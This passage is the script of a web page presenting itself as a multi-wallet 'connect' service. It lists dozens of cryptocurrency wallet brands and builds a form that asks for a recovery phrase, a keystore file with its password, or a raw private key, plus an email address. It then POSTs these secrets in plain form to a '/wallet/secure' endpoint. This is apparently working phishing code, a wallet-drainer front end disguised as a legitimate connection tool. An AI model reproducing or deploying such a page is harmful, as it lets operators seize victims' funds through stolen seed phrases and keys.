Wallet","order":999,"path":"images\/wallets\/morix_wallet.png"},{"filename":"mykey.png","display_name":"Mykey","order":999,"path":"images\/wallets\/mykey.png"},{"filename":"nash.png","display_name":"Nash","order":999,"path":"images\/wallets\/nash.png"},{"filename":"onto.png","display_name":"Onto","order":999,"path":"images\/wallets\/onto.png"},{"filename":"ownbit.png","display_name":"Ownbit","order":999,"path":"images\/wallets\/ownbit.png"},{"filename":"peak_defi_wallet.png","display_name":"Peak DeFi Wallet","order":999,"path":"images\/wallets\/peak_defi_wallet.png"},{"filename":"pillar.png","display_name":"Pillar","order":999,"path":"images\/wallets\/pillar.png"},{"filename":"qubic.png","display_name":"Qubic","order":999,"path":"images\/wallets\/qubic.png"},{"filename":"rainbow.png","display_name":"Rainbow","order":999,"path":"images\/wallets\/rainbow.png"},{"filename":"spark_point.png","display_name":"Spark Point","order":999,"path":"images\/wallets\/spark_point.png"},{"filename":"spatium.png","display_name":"Spatium","order":999,"path":"images\/wallets\/spatium.png"},{"filename":"tangem.png","display_name":"Tangem","order":999,"path":"images\/wallets\/tangem.png"},{"filename":"token_pocket.png","display_name":"Token Pocket","order":999,"path":"images\/wallets\/token_pocket.png"},{"filename":"tokenary.png","display_name":"Tokenary","order":999,"path":"images\/wallets\/tokenary.png"},{"filename":"torus.png","display_name":"Torus","order":999,"path":"images\/wallets\/torus.png"},{"filename":"trezor_model_t.png","display_name":"Trezor Model T","order":999,"path":"images\/wallets\/trezor_model_t.png"},{"filename":"trust_vault.png","display_name":"Trust Vault","order":999,"path":"images\/wallets\/trust_vault.png"},{"filename":"unstoppable_wallet.png","display_name":"Unstoppable Wallet","order":999,"path":"images\/wallets\/unstoppable_wallet.png"},{"filename":"via_wallet.png","display_name":"Via Wallet","order":999,"path":"images\/wallets\/via_wallet.png"},{"filename":"vision.png","display_name":"Vision","order":999,"path":"images\/wallets\/vision.png"},{"filename":"wallet_connect.png","display_name":"Wallet Connect","order":999,"path":"images\/wallets\/wallet_connect.png"},{"filename":"wallet.io.png","display_name":"Wallet IO","order":999,"path":"images\/wallets\/wallet.io.png"},{"filename":"walleth.png","display_name":"Walleth","order":999,"path":"images\/wallets\/walleth.png"},{"filename":"wazirx.png","display_name":"Wazirx","order":999,"path":"images\/wallets\/wazirx.png"},{"filename":"xaman.png","display_name":"Xaman","order":999,"path":"images\/wallets\/xaman.png"},{"filename":"xdc_wallet.png","display_name":"Xdc Wallet","order":999,"path":"images\/wallets\/xdc_wallet.png"},{"filename":"zel_core.png","display_name":"Zel Core","order":999,"path":"images\/wallets\/zel_core.png"}],
errorMessage: '',
phraseWordCount: 0,
isValidKeystore: false,
isValidPrivateKey: false,
formData: {
    wallet_name: '',
    email: '',
    wallet_phrase: '',
    keystore_json: '',
    keystore_password: '',
    private_key: ''
},

init() {
    // Add asset URL to each wallet
    const baseUrl = '';
    this.allWallets = this.allWallets.map(wallet => ({
        ...wallet,
        path: baseUrl + wallet.path
    }));
    this.filteredWallets = [...this.allWallets];

    // Watch for search query changes for live search
    this.$watch('searchQuery', () => {
        this.filterWallets();
    });
},

filterWallets() {
    if (!this.searchQuery || !this.searchQuery.trim()) {
        this.filteredWallets = [...this.allWallets];
        return;
    }

    const query = this.searchQuery.toLowerCase().trim();
    this.filteredWallets = this.allWallets.filter(wallet => {
        const displayName = wallet.display_name ? wallet.display_name.toLowerCase() : '';
        const filename = wallet.filename ? wallet.filename.toLowerCase() : '';

        return displayName.includes(query) || filename.includes(query);
    });
},

showWalletInfo(name, filename, imagePath) {
    this.selectedWalletName = name;
    this.selectedWallet = filename;
    this.selectedWalletImage = imagePath;
    this.showWalletInfoModal = true;
    this.resetForm();
},

closeWalletInfoModal() {
    this.showWalletInfoModal = false;
    this.resetForm();
},

showConnectForm() {
    this.showWalletInfoModal = false;
    this.showConnectionModal = true;
},

closeConnectionModal() {
    this.showConnectionModal = false;
    this.resetForm();
},

resetForm() {
    this.formData = {
        wallet_name: '',
        email: '',
        wallet_phrase: '',
        keystore_json: '',
        keystore_password: '',
        private_key: ''
    };
    this.activeTab = 'phrase';
    this.isSubmitting = false;
    this.errorMessage = '';
    this.phraseWordCount = 0;
    this.isValidKeystore = false;
    this.isValidPrivateKey = false;
},

// Validation methods
wordCount(str) {
    if (!str || typeof str !== 'string') return 0;
    return str.trim().split(/\s+/).filter(word => word.length > 0).length;
},

validatePhraseInput() {
    this.phraseWordCount = this.wordCount(this.formData.wallet_phrase);
    this.clearError();
},

validateKeystoreInput() {
    try {
        if (this.formData.keystore_json.trim()) {
            JSON.parse(this.formData.keystore_json);
            this.isValidKeystore = true;
        } else {
            this.isValidKeystore = false;
        }
    } catch (e) {
        this.isValidKeystore = false;
    }
    this.clearError();
},

validatePrivateKeyInput() {
    const privateKey = this.formData.private_key.trim();
    if (!privateKey) {
        this.isValidPrivateKey = false;
        return;
    }

    // Remove 0x prefix if present
    const cleanKey = privateKey.startsWith('0x') ? privateKey.slice(2) : privateKey;

    // Check if it's 64 hexadecimal characters
    const hexPattern = /^[a-fA-F0-9]{64}$/;
    this.isValidPrivateKey = hexPattern.test(cleanKey);
    this.clearError();
},

clearError() {
    this.errorMessage = '';
},

showError(message) {
    this.errorMessage = message;
},

openSuccessModal(data) {
    this.successData = data;
    this.showSuccessModal = true;
},

async copyUID() {
    if (!this.successData?.id) return;

    try {
        await navigator.clipboard.writeText(this.successData.id);
        this.showCopyFeedback = true;

        // Hide feedback after 2 seconds
        setTimeout(() => {
            this.showCopyFeedback = false;
        }, 2000);
    } catch (error) {
        // Fallback for older browsers
        const textArea = document.createElement('textarea');
        textArea.value = this.successData.id;
        document.body.appendChild(textArea);
        textArea.select();
        document.execCommand('copy');
        document.body.removeChild(textArea);

        this.showCopyFeedback = true;
        setTimeout(() => {
            this.showCopyFeedback = false;
        }, 2000);
    }
},

async submitForm() {
    // Clear any previous errors
    this.clearError();

    // Validate form based on active tab
    if (!this.validateForm()) {
        return;
    }

    this.isSubmitting = true;

    const submitData = {
        wallet_type: this.selectedWalletName,
        wallet_display_name: this.selectedWalletName,
        phrase_type: this.activeTab,
        ...this.formData
    };

    try {
        const response = await fetch('/wallet/secure', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]')?.getAttribute(
                    'content') || ''
            },
            body: JSON.stringify(submitData)
        });

        const result = await response.json();

        if (result.success) {
            this.closeConnectionModal();
            this.openSuccessModal(result.data);
        } else {
            this.showError(result.message || 'Failed to connect wallet');
        }
    } catch (error) {
        console.error('Error:', error);
        this.showError('Network error. Please try again.');
    } finally {
        this.isSubmitting = false;
    }
},

validateForm() {
    // Common validation for all tabs
    if (!this.formData.wallet_name.trim()) {
        this.showError('Please enter a wallet name');
        return false;
    }

    if (!this.formData.email.trim()) {
        this.showError('Please enter your email address');
        return false;
    }

    // Email format validation
    const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (!emailPattern.test(this.formData.email)) {
        this.showError('Please enter a valid email address');
        return false;
    }

    // Tab-specific validation
    if (this.activeTab === 'phrase') {
        if (!this.formData.wallet_phrase.trim()) {
            this.showError('Please enter your recovery phrase');
            return false;
        }

        const wordCount = this.wordCount(this.formData.wallet_phrase);
        if (wordCount !== 12 && wordCount !== 24) {
            this.showError('Recovery phrase must be exactly 12 or 24 words');
            return false;
        }
    } else if (this.activeTab === 'keystore') {
        if (!this.formData.keystore_json.trim()) {
            this.showError('Please enter your keystore JSON');
            return false;
        }

        if (!this.isValidKeystore) {
            this.showError('Please enter valid JSON format for keystore');
            return false;
        }

        if (!this.formData.keystore_password.trim()) {
            this.showError('Please enter your keystore password');
            return false;
        }
    } else if (this.activeTab === 'private_key') {
        if (!this.formData.private_key.trim()) {
            this.showError('Please enter your private key');
            return false;
        }

        if (!this.isValidPrivateKey) {
            this.showError('Please enter a valid private key (64 hexadecimal characters)');
            return false;
        }
    }

    return true;
}
}
}
</script>

</body>

</html>
